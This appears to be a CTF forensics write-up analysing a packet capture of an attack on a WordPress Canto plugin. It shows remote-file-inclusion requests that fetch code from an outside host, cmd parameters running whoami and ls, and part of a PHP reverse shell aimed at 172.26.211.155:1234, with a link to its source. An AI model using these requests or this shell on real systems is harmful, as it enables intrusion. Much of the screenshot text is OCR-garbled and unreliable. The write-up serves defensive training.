

[Medium]

WordPress - 4

Same file from WordPress - 1

Q1. What is the name of the function that the attacker tested the exploit with, and what is the name/version of the attacker's server?

Q2. What is the username that was logged on during the attack, including the domain?

Q3. The attacker attempted to upload a reverse shell. Mention the IP and port. What command posed an obstacle during the process of the

Flag Format 0xL4ugh{A1_A2_A3}

Example: 0xL4ugh{functionName()_serverName/version_domain\username_IP:PORT_command}

Remember earlier, from 3, that RCE were sent by 192.168.204.1 and used 172.26.211.155 as the C2?

Solution:

Let's use them for filtering ((ip.src == 192.168.204.1) || (ip.dst == 192.168.204.1) || (ip.src == 172.26.211.155) || (ip.dst ==

172.26.211.155)) && http

```
Eile Edit Yiew Go Capture Analyze Statistics Telephony Wireless Tools Help
 ((ip.src == 192.168.204.1) || (ip.dst == 192.168.204.1) || (ip.src == 172.26.211.155) || (ip.dst == 172.26.211.155)) && http
                                                                       192.168.204.128
                                                                                             192.168.204.128,80
    136866 532.300473
                                           192.168.204.128
                                                                      192.168.204.1
                                                                                             16273
                                                                                                                                                 307 HTTP/1.1 200 OK
                                                                                                                                                  761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
    137044 539.337207
                                           192.168.204.128
                                                                     172.26.211.155
                                                                                             172.26.211.155:8000,8.. HTTP
                                                                                                                                                136 GET /wp-admin/admin.php HTTP/1.1
                                                                                                                                                772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoami HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
                                                                                            192.168.204.128,80 HTTP
172.26.211.155:8000,8... HTTP
    138545 601.848801
                                           192.168.204.1
                                                                      192.168.204.128
                                           192.168.204.128
                                          172.26.211.155
192.168.204.128
                                                                                                                                                84 HTTP/1.0 200 OK
657 HTTP/1.1 200 OK (text/html)
    138552 601.858192
                                                                      192.168.204.128
                                                                                             53181
                                                                      192.168.204.1
    138648 605.165676
                                          192.168.204.1
192.168.204.128
                                                                                                                                                761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath-http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
                                                                                             192.168.204.128,80 HTTP
172.26.211.155:8000,8.. HTTP
    145195 822.727228
                                                                      172.26.211.155
                                           172.26.211.155
    145276 825.946484
                                           192.168.204.128
                                                                      192.168.204.1
                                                                                                                                                1178 HTTP/1.1 200 OK (text/html)
                                                                                                                                                787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
522 HTTP/1.0 200 OK
                                           192.168.204.1
                                                                       192.168.204.128
    207199 1214.845555
                                                                                              192.168.204.128,80 HTTP
    207204 1214.860145
207210 1214.864749
                                          192.168.204.128
172.26.211.155
                                                                      172.26.211.155
192.168.204.128
                                                                                                                                                787 GET /wordpress/wp-content/plugins/conto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
    209442 1226,192500
                                           192.168.284.1
                                                                       192.168.204.128
                                                                                              192.168.204.128,80
                                           192.168.204.128
                                                                      172.26.211.155
                                                                                              172.26.211.155:8000,8.. HTTP
                                          172.26.211.155
192.168.204.128
                                                                      192.168.204.128
192.168.204.1
    209453 1226.203571
                                                                                             54436
                                                                                                                                                 593 HTTP/1.0 200 OK
     209472 1226.312702
                                                                                                                                                1178 HTTP/1.1 200 OK (text/html)
                                                                                                                                                772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoam1 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
    235875 1347.610435
                                           192.168.204.1
                                                                       192.168.204.128
                                                                                             172.26.211.155:8000,8.. HTTP
    235881 1347.617323
                                           192.168.204.128
                                                                      172.26.211.155
                                           172.26.211.155
                                          192.168.204.128
192.168.204.1
                                                                      192.168.204.1
192.168.204.128
    235935 1347.764043
                                                                                                                          HTTP
                                                                                                                                                 657 HTTP/1.1 200 OK (text/html)
    236907 1353.039574
                                                                                             192.168.284.128,80
                                                                                                                                                 768 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:80008cmd=ls HTTP/1.1
     236911 1353.053056
                                           192.168.204.128
                                                                                              172.26.211.155:8000,8.. HTTP
                                                                                                                                                 136 GET /wp-admin/admin.php HTTP/1.1
                                                                                                                                                 84 HTTP/1.0 200 OK
    236914 1353.057371
                                          172.26.211.155
                                                                      192.168.204.128
                                           192.168.204.128
                                                                      192.168.284.1
                                                                                                                                                                                                                            48 54 54 59 2f 31 2e 39 2e 32 3e 3e 2e 4f 4b ed HTTP/1.e 2ee 0K 6a 53 65 72 76 65 72 3a 2e 53 69 6d 7e 6c 65 48 Server: SimpleH 54 54 5e 2f 3e 2e 36 2e 5e 7e 74 68 6f 6e 2f 33 TTP/e.6 Python/3 2e 31 3e 2e 31 32 ed ea 44 61 74 65 3a 2e 57 65 .1e.12 Date: We
  Frame 137047: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface \Device\NPF_{8EBE20A8-B2DE-46D2-ASC0-2DF9675A14B8}, id 0
Ethernet II, Src: VMware_fa:02:68 (00:50:56:fa:02:68), Dst: VMware_fc:b7:5a (00:0c:29:fc:b7:5a)
Internet Protocol Version 4, Src: 172.26:211.155, Dst: 192.168.204.128
                                                                                                                                                                                                                             64 2c 20 31 37 20 4a 61 6e 20 32 30 32 34 20 32 d, 17 Ja n 2024 2
31 3a 34 38 3a 35 31 20 47 4d 54 0d 0a 43 6f 6e 1:48:51 GMT Con
    2 Reassembled TCP Segments (221 bytes): #137046(201), #137047(20)]
                                                                                                                                                                                                                             74 65 6e 74 2d 74 79 70 65 3a 20 61 70 70 6c 69 tent-typ e: appli 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 cation/o ctet-str
      | [Expert Info (Chat/Sequence): HTTP/1.0 200 OK\r\n]
Response Version: HTTP/1.0
                                                                                                                                                                                                                             65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e eam Con tent-Len
                                                                                                                                                                                                                             Status Code: 200
[Status Code Description: OK]
      Server: SimpleHTTP/0.6 Python/3.10.12\r\n
      Date: Wed, 17 Jan 2024 21:48:51 GMT\r\n
      Content-type: application/octet-stream\r\n
     Content-Length: 20\r\n
     [Content length: 20]
Last-Modified: Tue, 16 Jan 2024 21:03:49 GMT\r\n
      [HTTP response 1/1]
[Time since request: 0.022247000 seconds]
      [Request URI: http://172.26.211.155:8000/wp-admin/admin.php]
   Data (20 bytes)
Data: 3c3f70687020706870696e666f28293b203f3e0a
```

There we go! Q1 answer: phpinfo()_SimpleHTTP/0.6

For Q2, let's take a look at the result from the packet that invoked whoami dit <u>V</u>iew <u>G</u>o <u>C</u>apture <u>A</u>nalyze <u>S</u>tatistics Telephony <u>W</u>ireless <u>T</u>ools <u>H</u>el ((ip.src == 192.168.204.1) || (ip.dst == 192.168.204.1) || (ip.src == 172.26.211.155) || (ip.dst == 172.26.211.155)) && http 136864 532.064505 136866 532.300473 192.168.204.1 192.168.204.128 192.168.204.128 192.168.204.1 HTTP 698 GET /wordpress/wp-content/plugins/canto/ HTTP/1.1 307 HTTP/1.1 200 OK 192.168.204.128,80 761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1 74 HTTP/1.0 200 OK 192.168.204.128,80 192.168.284.128 172.26.211.155 172.26.211.155 192.168.204.128 172.26.211.155:8000,8... HTTP 53041 HTTP 137047 539.359454 192.168.204.1 192.168.204.128 383 HTTP/1.1 200 OK (text/html) 192.168.204.128 192.168.204.1 192.168.204.128,80 772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:80008cmd=whoami HTTP/1.1 138545 601.848801 192.168.204.128 172.26.211.155 138552 601.858192 138648 605.165676 84 HTTP/1.0 200 OK 657 HTTP/1.1 200 OK (text/html) 172.26.211.155 192.168.204.128 192.168.204.128 192.168.204.1 192.168.204.128 172.26.211.155 192.168.204.128,80 HTTP 172.26.211.155:8000,8... HTTP 192.168.204.1 192.168.204.128 761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1 145191 822.723084 145195 822.727228 172.26.211.155 192.168.204.128 192.168.204.1 145276 825.946404 192.168.204.1 1178 HTTP/1.1 200 OK (text/html) 787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php/wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
522 HTTP/1.0 200 OK 207199 1214.845555 192.168.204.128 192.168.204.128,80 207204 1214.860145 207210 1214.864749 172.26.211.155 192.168.204.128 192.168.204.128 172.26.211.155 192.168.204.128 192.168.204.1 653 HTTP/1.1 200 OK (text/html) 787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
593 HTTP/1.0 200 OK
1178 HTTP/1.1 200 OK (text/html) 209442 1226.192500 209447 1226.196476 192.168.204.1 192.168.204.128 192.168.204.128,80 HTTP 172.26.211.155:8000,8... HTTP 192.168.204.128 172.26.211.155 172.26.211.155 192.168.204.128 192.168.204.128 192.168.204.1 209453 1226.203571 209472 1226.312702 772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8008&cmd=whoami HTTP/1.1 235881 1347.617323 235885 1347.621660 192.168.204.128 172.26.211.155 172.26.211.155 192.168.204.128 172.26.211.155:8000,8... HTTP 54457 HTTP 136 GET /wp-admin/admin.php HTTP/1.1 84 HTTP/1.0 200 OK 192.168.204.1 192.168.204.128 17205 192.168.204.128,80 657 HTTP/1.1 200 OK (text/html) 768 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=ls HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1 236907 1353.039574 192.168.204.1 192.168.204.128 84 HTTP/1.0 200 OK 626 HTTP/1.1 200 OK (text/html) 236914 1353.057371 236919 1353.185192 192.168.204.128 192.168.204.1 54458 192.168.204.128 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 imeout-5 , max-10 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 0 Conne ction: K | [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]
Response Version: HTTP/1.1 65 65 70 2d 41 6c 69 76 65 0d 0m 43 6f 6e 74 65 eep-Aliv e Conte 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 nt-Type: text/ht 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d ml; char set=UTF-Status Code: 200 [Status Code Description: OK] Response Phrase: OK Date: Wed, 17 Jan 2024 21:49:54 GMT\r\n 0130 38 0d 0a 0d 0a 64 65 73 6b 74 6f 70 2d 32 72 33 0140 61 72 32 32 5c 61 64 6d 69 6e 69 73 74 72 61 74 Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12\r\n X-Powered-By: PHP/8.2.12\r\n 6f 72 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 46 61 or cbr />-cbr 74 61 6c 20 65 72 72 6f 72 3c 2f 62 3e 3a 20 20 tal erro rc/b>: 55 6e 63 61 75 67 68 74 20 45 72 72 6f 72 3a 20 Uncaught Error: Content-Length: 348\r\n [Content length: 348] Keep-Alive: timeout=5, max=100\r\n 43 61 6c 6c 20 74 6f 20 75 6e 64 65 66 69 6e 65 Call to undefine 64 20 66 75 6e 63 74 69 6f 6e 20 73 61 6e 69 74 d functi on sanit 69 7a 65 5f 74 65 78 74 5f 66 69 65 6c 64 28 29
20 69 6e 20 43 3a 5c 78 61 6d 70 70 5c 68 74 64 in C:\x ampp\htd
6f 63 73 5c 77 6f 72 64 70 72 65 73 73 5c 77 70 ocs\word press\wp
2d 63 6f 6e 74 65 6e 74 5c 70 6c 75 67 69 6e 73 -content \plugins
5c 63 61 6e 74 6f 5c 69 6e 63 6c 75 64 65 73 5c \cancontent\number \number \numbe Connection: Keep-Alive\r\ Content-Type: text/html; charset-UTF-8\r\n [HTTP response 1/1] [Time since request: 3.316875000 seconds] 6c 69 62 5c 64 6f 77 6e 6c 6f 61 64 2e 70 68 70 lib\down load.php
3a 37 0a 53 74 61 63 6b 20 74 72 61 63 65 3a 0a :7.\stack trace:
23 30 20 7b 6d 61 69 6e 7d 0a 20 20 74 68 72 6f #0 \{\text{main}\}. \text{ through the control of th [Request URI: http://192.168.204.128/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoami] Line-based text data: text/html (6 lines) 73 73 5c 77 70 2d 63 61 6e 74 65 6e 74 5c 70 6c ss\wp-content\pl
75 67 69 6e 73 5c 63 61 6e 74 6f 5c 69 6e 63 6c ugins\ca nto\incl
75 64 65 73 5c 6c 69 62 5c 64 6f 77 6e 6c 6f 61 udes\lib \download
64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e
65 20 3c 62 3e 37 3c 2f 62 3e 3c 62 72 20 2f 3e e

6 5 70 5c 5c 5c 5c 5c 5c 5c 6e 70 5c 5c 5c 6e 70 5c 5c 5c 6e 70 5c

Q2 answer: desktop-2r3ar22\administrator

thrown in C:\xampp\htdocs\wordpress\wp-content\plugins\canto\includes\lib\download.php on line 7
>ch />\n

Finally, for Q3, the retrieval of the reverse shell happened after invoking the whomai command. Since we saw earlier that if wp_abspath is the only parameter, it retrieved the payload from the C2.

```
Eile Edit Yiew Go Capture Analyze Statistics Telephony Wireless Iools Help
(ip.src == 192.168.204.1) || (ip.dst == 192.168.204.1) || (ip.src == 172.26.211.155) || (ip.dst == 172.26.211.155)) && http
     136864 532.064505
                                          192.168.204.1
                                                                    192.168.204.128
                                                                                          192.168.204.128,80
                                                                                                                                            698 GET /wordpress/wp-content/plugins/canto/ HTTP/1.1
                                          192.168.204.128
                                                                                                                                            761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
                                          192.168.204.1
192.168.204.128
                                                                                           192.168.204.128,80
     137040 539, 284195
                                                                    192.168.204.128
                                                                                           172.26.211.155:8000,8... HTTP
                                                                    172.26.211.155
                                                                                                                                              74 HTTP/1.0 200 OK
    137089 539.569125
                                          192.168.204.128
                                                                    192.168.204.1
                                                                                           16274
                                                                                                                      HTTP
                                                                                                                                            383 HTTP/1.1 200 OK (text/html)
                                          192.168.204.1
                                                                                                                                            772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath-http://172.26.211.155:8000&cmd-whoami HTTP/1.1
                                                                     192.168.204.128
                                                                                           192.168.204.128,80
                                         192.168.204.128
172.26.211.155
     138549 601.851429
                                                                    172.26.211.155
                                                                                           172.26.211.155:8000,8... HTTP
                                                                                                                                             84 HTTP/1.0 200 OK
     138552 601.858192
                                                                    192.168.204.128
                                                                                          53181
                                                                                                                                             657 HTTP/1.1 200 OK (text/html)
                                                                                                                                            761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
     145191 822.723084
                                          192.168.204.1
                                                                    192.168.204.128
                                                                                           192.168.204.128,80
                                                                                          172.26.211.155:8000,8.. HTTP
                                         192.168.204.128
172.26.211.155
                                                                    172.26.211.155
     145195 822.727228
                                         192.168.204.128
192.168.204.1
                                                                                                                                            1178 HTTP/1.1 200 OK (text/html)
                                                                                                                                            787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
    207199 1214.845555
                                                                    192.168.204.128
                                                                                          192.168.204.128,80 HTTP
                                         172.26.211.155
192.168.204.128
     207210 1214.864749
                                                                    192.168.204.128
                                                                                          54432
                                                                                                                                            522 HTTP/1.0 200 OK
                                                                                                                                            653 HTTP/1.1 200 OK (text/html)
     207218 1214.872766
                                                                    192.168.204.1
                                                                                                                                            787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
                                          192.168.204.1
                                                                    192.168.204.128
                                                                                          192.168.204.128,80 HTTP
                                          192.168.204.128
                                                                                          172.26.211.155:8000,8.. HTTP
     209447 1226.196476
                                                                    172.26.211.155
                                                                   192.168.294.1
192.168.294.128
     209472 1226.312702
                                          192.168.204.128
                                                                                          17979
                                                                                                                                            1178 HTTP/1.1 200 OK (text/html)
                                                                                          192.168.204.128,80
                                                                                                                                            772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoami HTTP/1.1
     235881 1347.617323
                                          192.168.204.128
                                                                   172.26.211.155 172.26.211.155:8000,8... HTTP
                                                                                                                                            136 GET /wp-admin/admin.php HTTP/1.1
                                                                                                                                             84 HTTP/1.0 200 0
    235935 1347.764043
                                                                    192.168.204.1
                                                                                                                                            657 HTTP/1.1 200 OK (text/html)
                                          192.168.204.128
                                                                                         17205
                                                                                                                                             768 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath-http://172.26.211.155:8000%cmd-ls HTTP/1.1
                                          192,168,204,128
                                                                                          172.26.211.155:8000.8.. HTTP
                                                                                                                                            136 GET /wp-admin/admin.php HTTP/1.1
    236911 1353.053056
                                                                    172.26.211.155
                                                                                                                                             84 HTTP/1.0 200 OK
                                          172.26.211.155
     236919 1353.185192
                                          192.168.204.128
                                                                    192.168.204.1
                                                                                                                                            626 HTTP/1.1 200 OK (text/html)
  Frame 145200: 593 bytes on wire (4744 bits), 593 bytes captured (4744 bits) on interface \Device\NPF_{8EBE20A8-82DE-46D2-A5C0-2DF9675A1488}, id 0 Ethernet II, Src: VMware_fa:02:68 (00:50:56:fa:02:68), Dst: VMware_fc:b7:5a (00:0c:29:fc:b7:5a)

Internet Protocol Version 4, Src: 172.26.211.155, Dst: 192.168.204.128

Transmission Control Protocol, Src Port: 8000, Dst Port: 53596, Seq: 3124, Ack: 83, Len: 539

[4 Reassembled TCP Segments (3662 bytes): #145197(203), #145198(1460), #145200(539)]
                                                                                                                                                                                                                0000 00 0c 29 fc b7 5a 00 50 56 fa 02 68 08 00 45 00 ...) Z.P V. h. E.
                                                                                                                                                                                                                                                                                   0 \%+ · · KfWP
H · pr nc
                                                                                                                                                                                                                     02 43 56 a3 00 00 80 06 d5 32 ac 1a d3 9b c0 a8 CV cc 80 1f 40 d1 5c 25 2b 85 cc d3 4b 66 57 50 18 06 fa f0 c3 48 00 00 70 72 6f 63 65 73 73 27 73 20 0 H
      | [Expert Info (Chat/Sequence): HTTP/1.0 200 OK\r\n]
Response Version: HTTP/1.0
         [Status Code Description: OK]
         Response Phrase: OK
     Server: SimpleHTTP/0.6 Python/3.10.12\r\n
Date: Wed, 17 Jan 2024 21:53:35 GMT\r\n
      Content-type: application/octet-stream\r\n
     Content-Length: 3459\r\n
[Content length: 3459]
Last-Modified: Wed, 17 Jan 2024 21:50:36 GMT\r\n
      [HTTP response 1/1]
[Time since request: 0.004678000 seconds]
      [Request URI: http://172.26.211.155:8000/wp-admin/admin.php]
      File Data: 3459 bytes
   Data (3459 bytes)
      Data [truncated]: 3c3f7068708a8a8a7365745f74696d655f6c696d6974202830293b8a2456455253494f4e203d2022312e30223b8a246970203d20273137322e32362e3231312e313535273b20202f2f2043
                                                                                                                                                                                                            Frame (593 bytes) Reassembled TCP (3662 bytes)
```

```
Q
   <?php
  set_time_limit (0);
  $VERSION = "1.0";
   $ip = '172.26.211.155'; // CHANGE THIS
   port = 1234;
                            // CHANGE THIS
   $chunk_size = 1400;
   $write_a = null;
   $error_a = null;
   $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;
   -snip-
The original reverse shell script for this one can be found at <a href="https://github.com/xdayeh/Php-Reverse-Shell/blob/master/PHP-Reverse-Shell.php">https://github.com/xdayeh/Php-Reverse-Shell/blob/master/PHP-Reverse-Shell.php</a>
```

```
Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
   (ip.src == 192.168.204.1) || (ip.dst == 192.168.204.1) || (ip.src == 172.26.211.155) || (ip.dst == 172.26.211.155)) && http
                      Time
                                                                                                                                                                                                           Protocol Length
                                                                        192.168.204.1
192.168.204.128
                                                                                                                    192.168.204.128
192.168.204.1
                                                                                                                                                                                                         HTTP
                                                                                                                                                                                                                                              698 GET /wordpress/wp-content/plugins/canto/ HTTP/1.1
307 HTTP/1.1 200 OK
          136864 532.064505
                                                                                                                                                            192.168.204.128,80
         136866 532.300473
                                                                                                                                                            16273
                                                                                                                                                                                                                                              761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
74 HTTP/1.6 200 OK
          137040 539.284195
                                                                         192.168.204.1
                                                                                                                      192.168.204.128
                                                                                                                                                             192.168.204.128,80
                                                                                                                                                            172.26.211.155:8000.8. HTTP
         137044 539.337207
                                                                         192.168.204.128
                                                                                                                     172.26.211.155
         137047 539.359454
                                                                         172.26.211.155
                                                                                                                     192.168.204.128
          137089 539.569125
                                                                         192.168.204.128
                                                                                                                     192.168.204.1
                                                                                                                                                                                                                                                383 HTTP/1.1 200 OK (text/html)
                                                                                                                                                                                                                                               772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoami HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
                                                                                                                                                            192.168.204.128,80
         138545 601.848801
                                                                         192.168.204.1
                                                                                                                     192.168.204.128
                                                                         192.168.204.128
                                                                                                                    192.168.204.128
192.168.204.1
         138552 601.858192
                                                                         172.26.211.155
                                                                                                                                                            53181
                                                                                                                                                                                                                                                84 HTTP/1.0 200 OK
                                                                         192.168.204.128
                                                                                                                                                                                                                                               657 HTTP/1.1 200 OK (text/html)
                                                                                                                                                           192.168.204.128,80 HTTP
172.26.211.155:8000,8... HTTP
                                                                                                                                                                                                                                              761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
          145191 822.723084
                                                                         192.168.204.1
                                                                                                                     192.168.204.128
          145195 822.727228
                                                                         192.168.204.128
                                                                                                                     172.26.211.155
          145200 822.731906
                                                                                                                     192.168.204.128
                                                                                                                                                                                                                                               593 HTTP/1.0 200 OK
                                                                         172.26.211.155
                                                                                                                                                                                                                                                 787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
                                                                                                                                                            172.26.211.155:8000,8... HTTP
          207204 1214.860145
                                                                         192.168.204.128
                                                                                                                                                                                                                                               522 HTTP/1.0 200 OK
          207210 1214.864749
                                                                         172.26.211.155
                                                                                                                      192.168.204.128
                                                                         192.168.204.128
                                                                                                                                                                                                                                               653 HTTP/1.1 200 OK (text/html)
                                                                                                                                                                                                                                              787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
          209442 1226, 192500
                                                                                                                                                           192,168,204,128,80 HTTP
                                                                         192.168.204.1
                                                                                                                     192.168.204.128
                                                                         192.168.204.128
          209447 1226.196476
                                                                                                                     172.26.211.155
                                                                                                                                                            172.26.211.155:8000,8... HTTP
                                                                                                                                                            54436
                                                                                                                                                                                                                                               593 HTTP/1.0 200 OK
                                                                                                                                                                                                                                             1178 HTTP/1.1 200 OK (text/html)
          209472 1226.312702
                                                                         192.168.204.128
                                                                                                                    192.168.204.1
                                                                                                                                                            17070
                                                                                                                                                                                                           HTTP
          235875 1347.610435
                                                                                                                                                                                                                                                772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoami HTTP/1.1
                                                                                                                    172.26.211.155
192.168.204.128
                                                                                                                                                           172.26.211.155:8000,8._ HTTP
54457 HTTP
                                                                                                                                                                                                                                              136 GET /wp-admin/admin.php HTTP/1.1
84 HTTP/1.0 200 OK
         235881 1347.617323
235885 1347.621660
                                                                        192.168.204.128
172.26.211.155
                                                                         192.168.204.128
                                                                                                                     192.168.204.1
                                                                                                                                                                                                                                               657 HTTP/1.1 200 OK (text/html)
                                                                                                                                                                                                                                              768 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=ls HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
                                                                                                                                                            192.168.204.128.80
         236907 1353.039574
                                                                         192.168.204.1
                                                                                                                     192.168.204.128
                                                                                                                     172.26.211.155
         236911 1353.053056
                                                                         192.168.204.128
                                                                                                                                                           172.26.211.155:8000,8. HTTP
          236914 1353.057371
                                                                                                                                                                                                                                             84 HTTP/1.0 200 OK
626 HTTP/1.1 200 OK (text/html)
                                                                                                                                                            54458
         236919 1353.185192
                                                                         192.168.204.128
                                                                                                                    192.168.204.1
                                                                                                                                                                                                                                                                                                                                                                           38 0d 0a 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 8····cbr /> cb>W 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 55 6e 64 arningc/ b>: Und 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 20 efined v ariable
           X-Powered-By: PHP/8.2.12\r\n

    Content-Length: 869\r\n
[Content length: 869]
    Keep-Alive: timeout=5, max=100\r\n

                                                                                                                                                                                                                                                                                                                                                                          66 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 20 etined v ariable
24 64 61 65 6d 6f 6e 20 69 6e 20 3c 62 3e 68 74 $daemon in tp://172 .26.211.
31 35 35 3a 38 30 30 30 2f 77 70 2d 61 64 6d 69 155:8000 /wp-admi
6e 2f 61 64 6d 69 6e 2e 70 68 70 3c 2f 62 3e 20 n/admin. php</br>
66 20 6c 69 6e 65 20 3c 62 3e 31 34 31 3c 2f on line <br/>
62 3e 3c 62 72 20 2f 3e 0a 57 41 52 4e 49 4e 47 b><br/>
63 20 46 61 69 6c 65 64 20 74 6f 20 64 61 65 6d : Failed to daem
            Connection: Keep-Alive\r\n
            Content-Type: text/html; charset-UTF-8\r\n
            [HTTP response 1/1]
[Time since request: 3.223320000 seconds]
             [Request URI: http://192.168.204.128/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath-http://172.26.211.155:8000]
                                                                                                                                                                                                                                                                                                                                                                            6f 6e 69 73 65 2e 20 20 54 68 69 73 20 69 73 20 onise. This is 71 75 69 74 65 20 63 6f 6d 6d 6f 6e 20 61 6e 64 quite common and
            File Data: 869 bytes
                                                                                                                                                                                                                                                                                                                                                                            <br />\n
<br/><b>Warning</b>: Undefined variable $daemon in <b>http://172.26.211.155:8000/wp-admin/admin.php</b> on line <b>141</b><br />\n
             WARNING: Failed to daemonise. This is quite common and not fatal.\n
                                                                                                                                                                                                                                                                                                                                                                            72 69 61 62 6c 65 20 24 64 61 65 6d 6f 6e 20 69 riable $ daemon i
                                                                                                                                                                                                                                                                                                                                                                           6e 20 3c 62 3e 68 74 74 70 3a 2f 2f 31 37 32 2e n <br/>32 36 2e 32 31 31 2e 31 35 35 3a 38 30 30 30 2f 26.211.1 55:8000/<br/>77 70 2d 61 64 6d 69 6e 2f 61 64 6d 69 6e 2e 70 wp-admin.p<br/>68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c hp</br>
             <b>Warning</b>: Undefined variable $daemon in <b>http://172.26.211.155:8000/wp-admin/admin.php</b> on line <b>141</b><br/>b</b><br/>>or line <b>141</b><br/>>b</br/>>or line <b>141</b><br/>>b</br/>>b</br/>>or line <b/><br/>b</br/>>141</b><br/>>b</br/>>b</br/>
<br/>
The bound of the bound 
             Successfully opened reverse shell to 172.26.211.155:1234\n
           <b>Warning</b>: Undefined variable $daemon in <b>http://172.26.211.155:8000/wp-admin/admin.php</b> on line <b>141</b><br/>br />\n ERROR: Shell process terminated\n
                                                                                                                                                                                                                                                                                                                                                                            62 3e 31 34 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a b>141</b ><br/>
             <br/>

                                                                                                                                                                                                                                                                                                                                                                            31 35 35 3a 31 32 33 34 0a 3c 62 72 20 2f 3e 0a 155:1234 (br />
            Stack trace:\n
                                                                                                                                                                                                                                                                                                                                                                           thrown in <b>C:\xampp\htdocs\wordpress\wp-content\plugins\canto\includes\lib\download.php</b> on line <b>7</b><br/>>ch />\n
 Bytes 640-696: Text item (text)
Now we have the IP:PORT! 172.26.211.155:1234
```

Now, what does the author mean about the command?

So maybe one or all of these failed? I decided to double-check the victim's phpinfo() from earlier

The reverse shell script has the following \$shell = 'uname -a; w; id; /bin/sh -i';

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

```
((ip.src == 192.168.204.1) || (ip.dst == 192.168.204.1) || (ip.src == 172.26.211.155) || (ip.dst == 172.26.211.155)) && thtp
                                                                                192.168.204.128
                                                                                                           192.168.204.128,80
                                                                                                                                           HTTP
